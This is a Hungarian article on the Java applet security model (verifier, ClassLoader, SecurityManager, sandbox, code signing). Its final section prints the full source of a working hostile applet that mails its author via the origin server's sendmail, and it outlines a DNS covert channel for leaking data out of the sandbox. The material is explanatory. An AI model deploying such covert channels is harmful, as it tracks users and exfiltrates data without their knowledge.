
Azért a megbízhatóság és a biztonság nem teljesen független egymástól. A számítógépbetyárok betöréseinek kedvenc trükkje, hogy a gépemen futó valamelyik programot a hálózaton keresztül, kívülrõl rákényszerített, váratlan adatokkal próbálják kizökkenteni normális futásából. Ha a programozási nyelv olyan, hogy a program biztosan lekezeli a váratlan adatokat, nem kezd el a memóriában kóvályogni, az sokat segíthet.
Elmondható, hogy az összes támadás elhárításához a Jáva programkáknak a rendszer erõforrásaihoz hozzáférését kell szigorúan szabályozni, korlátozni. A védendõ erõforrásokra példa: állományrendszer, hálózat, központi tár, be-, kiviteli eszközök, egyéb perifériák, felhasználói környezet (environment), rendszerhívások, rendszerkönyvtárak.
A programkák biztonsági modellje 3 szintre bontható. Elõször jönnek a Jáva nyelvnek a programok megbízhatóságát növelõ tulajdonságai. Második lépésként a köztes kódú programokat betöltés közben, futtatás elõtt szigorú ellenõrzésnek vetik alá, hogy a program megfelel-e a virtuális gép által megkövetelt szemantikának. Harmadszorra jönnek a böngészõkben megvalósított virtuális gép és könyvtárak, amelyek a programkáknak szigorúan felügyelt, korlátozott futási környezetet nyújtanak.
A harmadik szintet "homokozó" (sandbox) modellként is emlegetik. A böngészõ a programkákat kis gyermekként egy homokozóba helyezi, ahol eljátszogathatnak, õk maguk is védettek a külsõ környezettõl, de nagy zûrt nem okozhatnak. Jelenleg például a Netscape Navigator-ban implementált homokozó falai magasak, a programkák nem nyúlhatnak ki belõle. A HotJava böngészõ, illetve az igéretek szerint más böngészõk újabb verziói is figyelhetik majd, hogy mikor akar egy programka kinyúlni a homokozóból és esetenkén dönthetnek arról, hogy melyik programkának mit lehet engedélyezni. Lehetnek felnõttebb, megbízhatóbb programkák, amelyek többet is megtehetnek, de maradhatnak olyanok is, akik soha nem lépehetik át a homokozó határait.
A biztonsági rendszer ellenõrzésében fontos momentum, hogy a Jáva környezet implementációja forrásban is hozzáférhetõ. Ha egy programozó bele akar tekinteni, nem kereskedelmi forráslicensz megállapodást kitöltve ingyen megkaphatja a teljes kódot és megnézheti, hogy vajon az implementáció megfelel-e a biztonsági elveknek. Így néhány, az implementáció hibáiból fakadó biztonsági rést fogtak már meg és javítottak ki lelkes kutatók, programozók. Sajnos ez csak a Sun JDK-jára fordító program, virtuális gép, könyvtárak esetleg a HotJava böngészõre vonatkozik. Sem a Netscape, sem a Microsoft nem közli a böngészõjének forráskódját, így azt sem tudni, hogy a beágyazott virtuális gép implementációjánál mennyire tértek el a Sun kódjától.
A final alapszóval deklarált változók értékét az iniciálás után nem lehet megváltoztatni. A final osztályokból nem lehet leszármaztatni, final módszerek esetén a leszármazott osztály nem takarhatja el, módosíthatja az eredeti módszer mûködését.
A nyelv garantálja, hogy minden objektumhivatkozás fordítás alatti és futás közbeni típusa azonos, pontosabban kompatibilis. A tipusátformálás (casting) is csak nagyon korlátozottan, futási idõben ellenõrzötten alkalmazható. A fordítóprogram arra is figyel, hogy értéket még nem kapott lokális változókat a program ne használhassanak.
A Jávából kimaradtak a mutatók mint elemi adatok, ezzel eltûnt az a lehetõség, hogy a mutatók által tartalmazott címet manipulálva mint a C-ben a mutató aritmetika szabadon turkálhassunk a tárban. A dinamikus tárkezelés, szemétgyûjtés miatt a létrehozott objektumokat nem kell, de nem is lehet explicit módon felszabadítani, a programozónak nincs lehetõség, hogy az objektumok allokációját befolyásolja.
A kivételkezelés konzekvens használata megkönnyíti a programok hibakezelését. Ezzel együtt jár az is, hogy minden a végrehajtás során elõforduló hiba valamilyen kivételt generál, amelyhez legkésõbb a virtuális gép szintjén van lekezelõ kódrészlet, hibát okozó program hacsak a programozó nem így akarta nem futhat tovább.
Tömbök kezelésénél futás közben mindig ellenõrzésre kerül, hogy az index nem mutat-e túl a tömb határain. Nem lehet átverni egy könyvtári módszert úgy, hogy kisebb tömböt adunk át neki, abban reménykedve, hogy a tömbön túlnyúlva érdekes tárterületeket ír majd felül. Hasonló hibák kiküszöbölésére szolgálhat az, hogy a Jáva szövegei önálló String típusú objektumok, amelyekbõl szintén nem lehet véletlenül kinyúlni.
Megjegyzendõ, hogy a jelenlegi implementációkban csak a hálózaton letöltött kód kerül ellenõrzésre, a helyi állományrendszerbõl betöltött program, illetve a könyvtárak kódjában megbízunk. Ez nyilvánvalóan gyorsítja a programjaink futását, de a máshonnan átvett könyvtárakkal óvatosan kell bánnunk. A gyanakvóaknak ajánlom a JDK-ból a
parancsot, ez a Library nevû osztályra (a Library.class állományra) lefuttatja a kód ellenõrzõt.
Az ellenõrzés lépései:
Megjegyzendõ, hogy az utasításfolyam ellenõrzését alaposan megnehezíti a kivételkezelés illetve a lezáró blokk (finally) használata.
Amennyiben az ellenõrzés helyes eredményre vezet, a mûveleti kódot lecserélik egy hasonló jelentésû, de csak belsõleg használt kódra, amelynek következõ végrehajtása során már nem kell ezeket az ellenõrzéseket elvégezni.
A könyvtárak biztonsága elõtt még van egy védelmi lépés: meg kell akadályozni, hogy egy rosszindulatú programka a rendszerkönyvtárakat kikerülve, saját könyvtárakat használjon. Ezt a védelemi feladatot látja el az osztálybetöltõ (ClassLoader). Az osztálybetöltõ egyik fontos feladata, hogy a betöltött osztályt egy elkülönített név tartományba (name space) helyezze el, így a kölönbözõ helyekrõl betöltött osztályok még ha azonos elnevezéseket is használnak, azok különbözõ osztályokat, objektumokat jelentenek.
A programka betöltõ úgy mûködik, hogy egy új osztályra hivatkozásánál azt elöször mindig a helyi könyvtárak közül próbálja betölteni, a hálózathoz csak akkor fordul, ha a keresett osztály helyben nem található. Így aztán egy programka nem tudja például a java.io könyvtár helyett ennek saját, megberhelt változatát a hálózaton keresztül becsempészni.
A könyvtárak biztonsága egy központi hivatalra, az ún. biztonsági menedzserre (SecurityManager) tartozik. A virtuális gép aktuális állapotához tartozik, hogy vajon használ-e ilyen menedzsert. A System.getSecurityManager() statikus módszer vagy null-t, vagy egy SecurityManager típusú objektumot ad vissza. Természetesen a System.setSecurityManager() segitségével csak akkor lehet ilyet beállítani, ha eddig null volt.
A biztonsági menedzser tartalmaz olyan checkXXX nevû hívásokat, amelyekkel az egyes könyvtárak írója megvizsgálhatja, hogy bizonyos mûveltek elvégezhetõk-e. Az ilyen ellenõrzésre szoruló mûveleteknél a következõ kódmintát kell alkalmazni:
SecurityManager security = System.getSecurityManager();
if (security != null)
{
security.checkXXX(arguments);
}
Amennyiben a kód kijön a feltételes blokkból, a kívánt mûvelet végrehajtható. Ha az ellenõrzés hamis, a checkXXX módszer SecurityException kivételt generál.
A rendszerben alapként meglévõ SecurityManager osztály minden checkXXX hívásra kivételt generál, a böngészõ implementálásánál kell olyan leszármazott osztályt definiálni, amely az egyes módszerek felüldefiniálásával megvalósítja megkivánt védelmet. A SecurityManager tartalmaz néhány protected módszert is, amely egy ilyen leszármazott osztály megírásánál jól jöhet. Ilyen például annak ellenõrzése, hogy vajon jelenleg éppen ellenõrzés folyik-e, vagy módszerek a hívási vermen turkáláshoz. A böngészõkben használt biztonsági menedzser implementáció általában a
hívás segítségével a hívási láncban megkeresi azt az osztálybetöltõt, amelyik által behozott osztály példánya indította a hívási láncot, amelynek a végén az ellenörzõ eljárás áll. Az így visszakapott osztálybetöltõt figyelembe véve dönthet a hozzáférés engedélyezésérõl.
Az módszerek részletes ismertetése helyett nézzük meg erõforrás kategóriánként, hogy a biztonsági menedzser segítségével milyen erõforrásokat, mûveleteket lehet védeni.
Erõforrásonként:
A Netscape böngészõ alatt futó programkák semmilyen állományrendszerbeli mûveletet nem hajthatnak végre. Megjegyzendõ, hogy a Sun HotJava böngészõjében a felhasználó konfigurálhatja, hogy melyik állományokhoz, könytárakhoz lehessen hozzáférni. Viszont ez mindig a helyi konfigurációtól függ, ezért a programkák írói kivéve egy intézményen belül, egységes menedzsment alatt álló böngészõk esetén semmire nem számíthatnak biztosan.
A böngészõkben egy programka csak azzal a számítógéppel ott viszont bármelyik kapuval kommunikálhat, ahonnan a kódja letöltõdött (getCodeBase().getHost()).
A Jáva többszintû biztonsági modellje kielégítõ védelmet biztosíthat a helyi információk kiszivárgása, illetve módosítása ellen. A kód ismeretében számos programozó árgus szemekkel figyeli az implementációt. A mai napig felszínre került biztonsági problémák a biztonsági elvek hibás implementációjából származtak. A böngészõ gyártók komolyan vették az így feltárt hibákat és az újabb verzióikban ezeket rendre kijavították.
Azt is tisztázni kellene, hogy ezeket az eljárásokat milyen biztonsági irányelvek (security policy) megvalósítására és hogyan használják. Sajnos jelenleg sehol nem specifikálták pontosan sem formális, sem informális eszközökkel, hogy milyen irányelveket kell a böngészõnek megvalósítani, csak általános elképzelések léteznek.
Az implememtációs hibák utólagos javításának van egy kereskedelemmel kapcsolatos problémája is. Hiába jön ki egy cég az aktuálisan felfedezett hibát kijavító új verzióval, ezt el kell terjesztenie a felhasználók között. A terjesztéshez ugyan elvileg rendelkezésre áll maga az Internet hálózat, ám a felhasználók nagy többsége lassú telefonvonalon kapcsolódik a hálózatba és nem engedheti meg magának, hogy például a most ismert böngészõk 3-8 MByte-nyi programját letöltse, arról nem is beszélve, hogy egy-egy új verzió megjelenésekor a cégek szerverei sem bírják a hihetetlen méretû felhasználói igényt kiszolgálni. A felhasználó így aztán inkább egy boltban veszi meg a programot, például CD-ROM-on. Ezeket a CD-ket viszont terjeszteni kell, a régieket a bolthálózatokból visszavonni, ami a cégeknek sok pénzbe kerül, fõleg, mert ezt nehezen háríthatják át a felhasználókra, hiszen hibajavításról van szó. Ha elterjednek a digitális aláírással ellátott programkák (ld. lentebb), talán a cégek rájönnek arra, hogy például a SecurityManager Jávában megírt kódját és csak ezt, nem az egész böngészõt is elegendõ letölteni a hálózaton.
Bonyolult, a programozók által nehezen áttekinthetõ tulajdonsága a nyelvnek, hogy a konstruktor törzsébõl meghívhatunk akkor is módszereket, ha az objektum adatkomponensei még nincsenek teljes egészében iniciálva. Ez ravasz mellékhatásokhoz vezethet.
A köztes kód nagyon közel áll a gépi kódhoz, egy lineáris utasítássorozat, ami nagyon megnehezíti a kód ellenõrzését. Sokkal egyszerûbb, megbízhatóbb lenne a szintaktikus ellenõrzésnél elõálló levezetési fát tükrözõ kódot ellenõrizni, mint ahogy azt a fordítóprogramok teszik. Az összes lehetséges lefutást figyelembe vevõ adatfolyam analízis bonyolult, az ellenörzõ program korrektségérõl nem lehet meggyõzõdni.
Az egyetlen osztályban összpontosított biztonsági védelem jelentõs fejlõdés a korábbi implementációkhoz képest, ahol a biztonsági rendszer szétszórtan szerepelt a kódban. Viszont még így is elégé esetlegesnek érzem az egyes eljárásokat. Már most is hiányoznak bizonyos eljárások például az audió rendszerhez hozzáférések ellenõrzéséhez, a hálózati forgalmat is jobban kellene szabályozni, a grafikus felület védelmére is kevésnek tûnik egyetlen módszer. Amennyiben a futtatórendszer által menedzselt erõforrások bõvülnek, a SecurityManager-t is bõvíteni kell.
Felmerül hát a kérdés, hogyan különböztessük meg a megbízható és megbízhatatlan programkákat. Belsõ számítógéphálózatok esetén megfelelõ megközelítés lehet a programka forrás-szerverének figyelembe vétele. Amennyiben ez egy általunk megbízhatónak itélt szerver, például a vállalat szigorúan menedzselt központi szervere, akkor az onnan érkezõ összes programkában megbízunk.
Megbízhatóbb megoldást nyújt a kriptográfiából ismert digitális aláírás módszere. A programka készítõje "aláírhatja" a programkáját, a felhasználó ennek alapján egyrészt arról gyõzõdhet meg, hogy kitõl származik a kód, másrészt abban is biztos lehet, hogy a kódot senki nem módosította. Ezután a biztonsági menedzsert lehet például a program szerzõje illetve annak cége alapján konfigurálni. A digitális aláírások használatát a JDK 1.1-es verziójára igérték, a böngészõ készítõk még nem hozták nyilvánosságra, hogy az aláírásokat figyelembe véve hogyan lehet majd a böngészõt konfigurálni.
Figyelem: a digitális aláírást használva csak annyit tudunk, hogy a programka kitõl származik, de a megbízhatóságát ez nem garantálja, a kód szándékosan vagy véletlenül tartalmazhat a rendszerünk biztonságát sértõ utasításokat.
A futó programka megbízható azonosítása még csak az elsõ lépés, nagyon fontos az is, hogy a böngészõk milyen könnyen, rugalmasan engedik meg a biztonsági menedzsert konfigurálni. Rossz megoldás, ha néhány merev lehetõségek közül lehet csak választani, de ugyanakkor nem feltétlenül bízható minden felhasználóra a rendszer részletes konfigurálása. A felhasználóknak az is idegesítõ lehet, ha egy programka futása során túl gyakran kell valamilyen erõforrás használatot megerõsítenie.
Legegyszerûbb a levelezési protokollt (Simple Mail Transfer Protocol, SMTP) kihasználni. A programka származási gépén futó sendmail programon keresztül bárhova küldhetünk elektronikus levelet. Ugyanis a sendmail továbbítja a címzett felé azokat a leveleket, amelyeket vesz, de nem a saját gépén levõ felhasználóknak szólnak.
Például a következõ programka levelet küld arról, ha valaki letöltötte az azt tartalmazó HTML lapot akkor is, ha nem a mi szerverünkrõl töltötte le. A beérkezett levelet kisérõ fejlécbõl ki lehet találni, ki és hol használja a programkánkat. Ezzel például illegálisan terjesztett programkák felhasználását lehet követni. A programkát Mark D. LaDue (mladue@math.gatech.edu) írta.
/* PenPal.java by Mark D. LaDue */
import java.applet.*;
import java.io.*;
import java.net.*;
public class PenPal extends java.applet.Applet
implements Runnable
{
public static Socket socker;
public static DataInputStream inner;
public static PrintStream outer;
public static int mailPort = 25 ;
public static String mailFrom = "my.hostile.applet";
public static String toMe = "mladue@math.gatech.edu";
public static String starter = new String();
Thread controller = null;
public void init()
{
try
{
socker = new Socket(getDocumentBase().getHost(), mailPort);
inner = new DataInputStream(socker.getInputStream());
outer = new PrintStream(socker.getOutputStream());
}
catch (IOException ioe) {}
}
public void start()
{
if (controller == null)
{
controller = new Thread(this);
controller.setPriority(Thread.MAX_PRIORITY);
controller.start();
}
}
public void stop()
{
if (controller != null)
{
controller.stop();
controller = null;
}
}
public void run()
{
try { starter = inner.readLine(); }
catch (IOException ioe) {}
mailMe("HELO" + mailFrom);
mailMe("MAIL FROM: " + "penpal@" + mailFrom);
mailMe("RCPT TO: " + toMe);
mailMe("DATA");
mailMe("Hey, it worked!" + "\n." + "\n");
mailMe("QUIT");
try { socker.close();}
catch (IOException ioe) {}
}
public void mailMe(String toSend)
{
String response = new String();
try
{
outer.println(toSend);
outer.flush();
response = inner.readLine();
}
catch(IOException e) {}
}
}A cél számítógépen a penpal@my.hostile.applet címrõl érkezett leveleket automatikusan szûrni lehet, a fejlécbõl kinyert feladó információkat adatbázisban tárolhatjuk.
De nem csak az SMTP-t lehet ilyen rejtett csatorna létrehozására kihasználni, hanem például a DNS (Domain Name System) protokoll-t is. Ennek eredeti feladata, hogy egy számítógép nevébõl (pl. hapci.mmt.bme.hu) kitalálja a hálózati címét (152.66.81.13). A protokoll úgy mûködik, hogy a DNS szerverek a kérdést egymás között adogatva megkeresik azt a szervert, amelyik ismeri a keresett gépet. Ha üzemeltetünk egy DNS szervert és olyan gépnevet használunk a programkában pl. egy kapcsolat megnyitására, amely névrõl az Internet hálózaton azt hiszik, hogy a mi szerverünk ismeri, akkor a programkától máris információt kaphatunk. Képzeljük el például, hogy az intezmeny.hu név-tartományért a mi DNS szerverünk a felelõs. Ekkor a
utasítás hatására a DNS szerverünk kérést kap, hogy oldja fel a titok.intezmeny.hu címet (titok csaknem tetszõleges szöveg lehet). Erre bármilyen hálózati címet válaszolhatunk, a böngészõ biztonsági menedzsere valószinûleg visszautasítja majd a socket létrehozását, de sebaj, mi már megkaptuk a névben elrejtett információt. Persze kis ügyességgel a DNS szerver vissza is küldhet információt a programkának.
Mellesleg a DNS-sel sok egyéb baj is lehet. Egy ismert és azóta kijavított biztonsági hibánál egy megfelelõen hazugságra programozott DNS szerver segítségével a letötött programka bármelyik géppel felvehette a kapcsolatot, nem csak a származási helyével.